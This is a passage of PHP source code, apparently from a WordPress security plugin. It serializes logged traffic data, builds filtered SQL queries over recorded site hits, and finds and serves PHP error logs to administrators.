'paramValue',
'path',
);
/**
* @param $actionData
* @return mixed|string|void
*/
public static function serializeActionData($actionData, $optionalKeys = array(), $maxLength = 65535) {
if (is_array($actionData)) {
foreach (self::$actionDataEncodedParams as $key) {
if (array_key_exists($key, $actionData)) {
$actionData[$key] = base64_encode($actionData[$key]);
}
}
}
do {
$serialized = json_encode($actionData, JSON_UNESCAPED_SLASHES);
$length = strlen($serialized);
if ($length <= $maxLength)
return $serialized;
$excess = $length - $maxLength;
$truncated = false;
foreach ($optionalKeys as $key) {
if (array_key_exists($key, $actionData)) {
$fieldValue = $actionData[$key];
$fieldLength = strlen($fieldValue);
$truncatedLength = min($fieldLength, $excess);
$truncated = true;
if ($truncatedLength > 0) {
$actionData[$key] = substr($fieldValue, 0, -$truncatedLength);
$excess -= $truncatedLength;
}
else {
unset($actionData[$key]);
break;
}
}
}
} while ($truncated);
return null;
}
/**
* @param $actionDataJSON
* @return mixed|string|void
*/
public static function unserializeActionData($actionDataJSON) {
$actionData = json_decode($actionDataJSON, true);
if (is_array($actionData)) {
foreach (self::$actionDataEncodedParams as $key) {
if (array_key_exists($key, $actionData)) {
$actionData[$key] = base64_decode($actionData[$key]);
}
}
}
else {
$actionData = array();
}
return $actionData;
}
private $columns = array(
'id',
'attackLogTime',
'ctime',
'IP',
'jsRun',
'statusCode',
'isGoogle',
'userID',
'URL',
'referer',
'UA',
'action',
'actionDescription',
'actionData',
);
public function getIDColumn() {
return 'id';
}
public function getTable() {
return wfDB::networkTable('wfHits');
}
public function hasColumn($column) {
return in_array($column, $this->columns);
}
public function save() {
$sapi = @php_sapi_name();
if ($sapi == "cli") {
return false;
}
return parent::save();
}
}
class wfLiveTrafficQuery {
protected $validParams = array(
'id' => 'h.id',
'ctime' => 'h.ctime',
'ip' => 'h.ip',
'jsrun' => 'h.jsrun',
'statuscode' => 'h.statuscode',
'isgoogle' => 'h.isgoogle',
'userid' => 'h.userid',
'url' => 'h.url',
'referer' => 'h.referer',
'ua' => 'h.ua',
'action' => 'h.action',
'actiondescription' => 'h.actiondescription',
'actiondata' => 'h.actiondata',
// wfLogins
'user_login' => 'u.user_login',
'username' => 'l.username',
);
/** @var wfLiveTrafficQueryFilterCollection */
private $filters = array();
/** @var wfLiveTrafficQueryGroupBy */
private $groupBy;
/**
* @var float|null
*/
private $startDate;
/**
* @var float|null
*/
private $endDate;
/**
* @var int
*/
private $limit;
/**
* @var int
*/
private $offset;
private $tableName;
/** @var wfLog */
private $wfLog;
/**
* wfLiveTrafficQuery constructor.
*
* @param wfLog $wfLog
* @param wfLiveTrafficQueryFilterCollection $filters
* @param wfLiveTrafficQueryGroupBy $groupBy
* @param float $startDate
* @param float $endDate
* @param int $limit
* @param int $offset
*/
public function __construct($wfLog, $filters = null, $groupBy = null, $startDate = null, $endDate = null, $limit = 20, $offset = 0) {
$this->wfLog = $wfLog;
$this->filters = $filters;
$this->groupBy = $groupBy;
$this->startDate = $startDate;
$this->endDate = $endDate;
$this->limit = $limit;
$this->offset = $offset;
}
/**
* @return array|null|object
*/
public function execute() {
global $wpdb;
$delayedHumanBotFiltering = false;
$humanOnly = false;
$sql = $this->buildQuery($delayedHumanBotFiltering, $humanOnly);
$results = $wpdb->get_results($sql, ARRAY_A);
if ($delayedHumanBotFiltering) {
$browscap = wfBrowscap::shared();
foreach ($results as $index => $res) {
if ($res['UA']) {
$b = $browscap->getBrowser($res['UA']);
$jsRun = wfUtils::truthyToBoolean($res['jsRun']);
if ($b && $b['Parent'] != 'DefaultProperties') {
$jsRun = wfUtils::truthyToBoolean($res['jsRun']);
if (!wfConfig::liveTrafficEnabled() && !$jsRun) {
$jsRun = !(isset($b['Crawler']) && $b['Crawler']);
}
}
if (!$humanOnly && $jsRun || $humanOnly && !$jsRun) {
unset($results[$index]);
}
}
}
}
$this->getWFLog()->processGetHitsResults('', $results);
$verifyCrawlers = false;
if ($this->filters !== null && count($this->filters->getFilters()) > 0) {
$filters = $this->filters->getFilters();
foreach ($filters as $f) {
if (strtolower($f->getParam()) == "isgoogle") {
$verifyCrawlers = true;
break;
}
}
}
foreach ($results as $key => &$row) {
if ($row['isGoogle'] && $verifyCrawlers) {
if (!wfCrawl::isVerifiedGoogleCrawler($row['IP'], $row['UA'])) {
unset($results[$key]); //foreach copies $results and iterates on the copy, so it is safe to mutate $results within the loop
continue;
}
}
$row['actionData'] = $row['actionData'] === null ? array() : (array) json_decode($row['actionData'], true);
}
return array_values($results);
}
/**
* @param mixed $delayedHumanBotFiltering Whether or not human/bot filtering should be applied in PHP rather than SQL.
* @param mixed $humanOnly When using delayed filtering, whether to show only humans or only bots.
*
* @return string
* @throws wfLiveTrafficQueryException
*/
public function buildQuery(&$delayedHumanBotFiltering, &$humanOnly) {
global $wpdb;
$filters = $this->getFilters();
$groupBy = $this->getGroupBy();
$startDate = $this->getStartDate();
$endDate = $this->getEndDate();
$limit = absint($this->getLimit());
$offset = absint($this->getOffset());
$wheres = array("h.action != 'logged:waf'", "h.action != 'scan:detectproxy'");
if ($startDate) {
$wheres[] = $wpdb->prepare('h.ctime > %f', $startDate);
}
if ($endDate) {
$wheres[] = $wpdb->prepare('h.ctime < %f', $endDate);
}
if ($filters instanceof wfLiveTrafficQueryFilterCollection) {
if (!wfConfig::liveTrafficEnabled()) {
$individualFilters = $filters->getFilters();
foreach ($individualFilters as $index => $f) {
if ($f->getParam() == 'jsRun' && $delayedHumanBotFiltering !== null && $humanOnly !== null) {
$humanOnly = wfUtils::truthyToBoolean($f->getValue());
if ($f->getOperator() == '!=') {
$humanOnly = !$humanOnly;
}
$delayedHumanBotFiltering = true;
unset($individualFilters[$index]);
}
}
$filters->setFilters($individualFilters);
}
$filtersSQL = $filters->toSQL();
if ($filtersSQL) {
$wheres[] = $filtersSQL;
}
}
$orderBy = 'ORDER BY h.ctime DESC';
$select = ', l.username';
$groupBySQL = '';
if ($groupBy && $groupBy->validate()) {
$groupBySQL = "GROUP BY {$groupBy->getParam()}";
$orderBy = 'ORDER BY hitCount DESC';
$select .= ', COUNT(h.id) as hitCount, MAX(h.ctime) AS lastHit, u.user_login AS username';
if ($groupBy->getParam() == 'user_login') {
$wheres[] = 'user_login IS NOT NULL';
}
else if ($groupBy->getParam() == 'action') {
$wheres[] = '(statusCode = 403 OR statusCode = 503)';
}
}
$where = join(' AND ', $wheres);
if ($where) {
$where = 'WHERE ' . $where;
}
if (!$limit || $limit > 1000) {
$limit = 20;
}
$limitSQL = $wpdb->prepare('LIMIT %d, %d', $offset, $limit);
$table_wfLogins = wfDB::networkTable('wfLogins');
$sql = <<<SQL
SELECT h.*, u.display_name{$select} FROM {$this->getTableName()} h
LEFT JOIN {$wpdb->users} u on h.userID = u.ID
LEFT JOIN {$table_wfLogins} l on h.id = l.hitID
$where
$groupBySQL
$orderBy
$limitSQL
SQL;
return $sql;
}
/**
* @param $param
* @return bool
*/
public function isValidParam($param) {
return array_key_exists(strtolower($param), $this->validParams);
}
/**
* @param $getParam
* @return bool|string
*/
public function getColumnFromParam($getParam) {
$getParam = strtolower($getParam);
if (array_key_exists($getParam, $this->validParams)) {
return $this->validParams[$getParam];
}
return false;
}
/**
* @return wfLiveTrafficQueryFilterCollection
*/
public function getFilters() {
return $this->filters;
}
/**
* @param wfLiveTrafficQueryFilterCollection $filters
*/
public function setFilters($filters) {
$this->filters = $filters;
}
/**
* @return float|null
*/
public function getStartDate() {
return $this->startDate;
}
/**
* @param float|null $startDate
*/
public function setStartDate($startDate) {
$this->startDate = $startDate;
}
/**
* @return float|null
*/
public function getEndDate() {
return $this->endDate;
}
/**
* @param float|null $endDate
*/
public function setEndDate($endDate) {
$this->endDate = $endDate;
}
/**
* @return wfLiveTrafficQueryGroupBy
*/
public function getGroupBy() {
return $this->groupBy;
}
/**
* @param wfLiveTrafficQueryGroupBy $groupBy
*/
public function setGroupBy($groupBy) {
$this->groupBy = $groupBy;
}
/**
* @return int
*/
public function getLimit() {
return $this->limit;
}
/**
* @param int $limit
*/
public function setLimit($limit) {
$this->limit = $limit;
}
/**
* @return int
*/
public function getOffset() {
return $this->offset;
}
/**
* @param int $offset
*/
public function setOffset($offset) {
$this->offset = $offset;
}
/**
* @return string
*/
public function getTableName() {
if ($this->tableName === null) {
$this->tableName = wfDB::networkTable('wfHits');
}
return $this->tableName;
}
/**
* @param string $tableName
*/
public function setTableName($tableName) {
$this->tableName = $tableName;
}
/**
* @return wfLog
*/
public function getWFLog() {
return $this->wfLog;
}
/**
* @param wfLog $wfLog
*/
public function setWFLog($wfLog) {
$this->wfLog = $wfLog;
}
}
class wfLiveTrafficQueryFilterCollection {
private $filters = array();
/**
* wfLiveTrafficQueryFilterCollection constructor.
*
* @param array $filters
*/
public function __construct($filters = array()) {
$this->filters = $filters;
}
public function toSQL() {
$params = array();
$sql = '';
$filters = $this->getFilters();
if ($filters) {
/** @var wfLiveTrafficQueryFilter $filter */
foreach ($filters as $filter) {
$params[$filter->getParam()][] = $filter;
}
}
foreach ($params as $param => $filters) {
// $sql .= '(';
$filtersSQL = '';
foreach ($filters as $filter) {
$filterSQL = $filter->toSQL();
if ($filterSQL) {
$filtersSQL .= $filterSQL . ' OR ';
}
}
if ($filtersSQL) {
$sql .= '(' . substr($filtersSQL, 0, -4) . ') AND ';
}
}
if ($sql) {
$sql = substr($sql, 0, -5);
}
return $sql;
}
public function addFilter($filter) {
$this->filters[] = $filter;
}
/**
* @return array
*/
public function getFilters() {
return $this->filters;
}
/**
* @param array $filters
*/
public function setFilters($filters) {
$this->filters = $filters;
}
}
class wfLiveTrafficQueryFilter {
private $param;
private $operator;
private $value;
protected $validOperators = array(
'=',
'!=',
'contains',
'match',
'hregexp',
'hnotregexp',
);
/**
* @var wfLiveTrafficQuery
*/
private $query;
/**
* wfLiveTrafficQueryFilter constructor.
*
* @param wfLiveTrafficQuery $query
* @param string $param
* @param string $operator
* @param string $value
*/
public function __construct($query, $param, $operator, $value) {
$this->query = $query;
$this->param = $param;
$this->operator = $operator;
$this->value = $value;
}
/**
* @return string|void
*/
public function toSQL() {
$sql = '';
if ($this->validate()) {
/** @var wpdb $wpdb */
global $wpdb;
$operator = $this->getOperator();
$param = $this->getQuery()->getColumnFromParam($this->getParam());
if (!$param) {
return $sql;
}
$value = $this->getValue();
switch ($operator) {
case 'contains':
$like = addcslashes($value, '_%\\');
$sql = $wpdb->prepare("$param LIKE %s", "%$like%");
break;
case 'match':
$sql = $wpdb->prepare("$param LIKE %s", $value);
break;
case 'hregexp':
$sql = $wpdb->prepare("HEX($param) REGEXP %s", $value);
break;
case 'hnotregexp':
$sql = $wpdb->prepare("HEX($param) NOT REGEXP %s", $value);
break;
default:
$sql = $wpdb->prepare("$param $operator %s", $value);
break;
}
}
return $sql;
}
/**
* @return bool
*/
public function validate() {
$valid = $this->isValidParam($this->getParam()) && $this->isValidOperator($this->getOperator());
if (defined('WP_DEBUG') && WP_DEBUG) {
if (!$valid) {
throw new wfLiveTrafficQueryException("Invalid param/operator [{$this->getParam()}]/[{$this->getOperator()}] passed to " . get_class($this));
}
return true;
}
return $valid;
}
/**
* @param string $param
* @return bool
*/
public function isValidParam($param) {
return $this->getQuery() && $this->getQuery()->isValidParam($param);
}
/**
* @param string $operator
* @return bool
*/
public function isValidOperator($operator) {
return in_array($operator, $this->validOperators);
}
/**
* @return mixed
*/
public function getParam() {
return $this->param;
}
/**
* @param mixed $param
*/
public function setParam($param) {
$this->param = $param;
}
/**
* @return mixed
*/
public function getOperator() {
return $this->operator;
}
/**
* @param mixed $operator
*/
public function setOperator($operator) {
$this->operator = $operator;
}
/**
* @return mixed
*/
public function getValue() {
return $this->value;
}
/**
* @param mixed $value
*/
public function setValue($value) {
$this->value = $value;
}
/**
* @return wfLiveTrafficQuery
*/
public function getQuery() {
return $this->query;
}
/**
* @param wfLiveTrafficQuery $query
*/
public function setQuery($query) {
$this->query = $query;
}
}
class wfLiveTrafficQueryGroupBy {
private $param;
/**
* @var wfLiveTrafficQuery
*/
private $query;
/**
* wfLiveTrafficQueryGroupBy constructor.
*
* @param wfLiveTrafficQuery $query
* @param string $param
*/
public function __construct($query, $param) {
$this->query = $query;
$this->param = $param;
}
/**
* @return bool
* @throws wfLiveTrafficQueryException
*/
public function validate() {
$valid = $this->isValidParam($this->getParam());
if (defined('WP_DEBUG') && WP_DEBUG) {
if (!$valid) {
throw new wfLiveTrafficQueryException("Invalid param [{$this->getParam()}] passed to " . get_class($this));
}
return true;
}
return $valid;
}
/**
* @param string $param
* @return bool
*/
public function isValidParam($param) {
return $this->getQuery() && $this->getQuery()->isValidParam($param);
}
/**
* @return wfLiveTrafficQuery
*/
public function getQuery() {
return $this->query;
}
/**
* @param wfLiveTrafficQuery $query
*/
public function setQuery($query) {
$this->query = $query;
}
/**
* @return mixed
*/
public function getParam() {
return $this->param;
}
/**
* @param mixed $param
*/
public function setParam($param) {
$this->param = $param;
}
}
class wfLiveTrafficQueryException extends Exception {
}
class wfErrorLogHandler {
public static function getErrorLogs($deepSearch = false) {
static $errorLogs = null;
if ($errorLogs === null) {
$searchPaths = array(ABSPATH, ABSPATH . 'wp-admin', ABSPATH . 'wp-content');
$homePath = wfUtils::getHomePath();
if (!in_array($homePath, $searchPaths)) {
$searchPaths[] = $homePath;
}
$errorLogPath = ini_get('error_log');
if (!empty($errorLogPath) && !in_array($errorLogPath, $searchPaths)) {
$searchPaths[] = $errorLogPath;
}
$errorLogs = array();
foreach ($searchPaths as $s) {
$errorLogs = array_merge($errorLogs, self::_scanForLogs($s, $deepSearch));
}
}
return $errorLogs;
}
private static function _scanForLogs($path, $deepSearch = false) {
static $processedFolders = array(); //Protection for endless loops caused by symlinks
if (is_file($path)) {
$file = basename($path);
if (preg_match('#(?:^php_errorlog$|error_log(\-\d+)?$|\.log$)#i', $file)) {
return array($path => is_readable($path));
}
return array();
}
$path = untrailingslashit($path);
$contents = @scandir($path);
if (!is_array($contents)) {
return array();
}
$processedFolders[$path] = true;
$errorLogs = array();
foreach ($contents as $name) {
if ($name == '.' || $name == '..') { continue; }
$testPath = $path . DIRECTORY_SEPARATOR . $name;
if (!array_key_exists($testPath, $processedFolders)) {
if ((is_dir($testPath) && $deepSearch) || !is_dir($testPath)) {
$errorLogs = array_merge($errorLogs, self::_scanForLogs($testPath, $deepSearch));
}
}
}
return $errorLogs;
}
public static function outputErrorLog($path) {
$errorLogs = self::getErrorLogs();
if (!isset($errorLogs[$path])) { //Only allow error logs we've identified
global $wp_query;
$wp_query->set_404();
status_header(404);
nocache_headers();
$template = get_404_template();
if ($template && file_exists($template)) {
include($template);
}
exit;
}
$fh = @fopen($path, 'r');
if (!$fh) {
status_header(503);
nocache_headers();
echo "503 Service Unavailable";
exit;
}
$headersOutputted = false;
while (!feof($fh)) {
$data = fread($fh, 1 * 1024 * 1024); //read 1 megs max per chunk
if ($data === false) { //Handle the error where the file was reported readable but we can't actually read it
status_header(503);
nocache_headers();
echo "503 Service Unavailable";
exit;
}
if (!$headersOutputted) {
header('Content-Type: text/plain');
header('Content-Disposition: attachment; filename="' . basename($path));
$headersOutputted = true;
}
echo $data;
}
exit;
}
}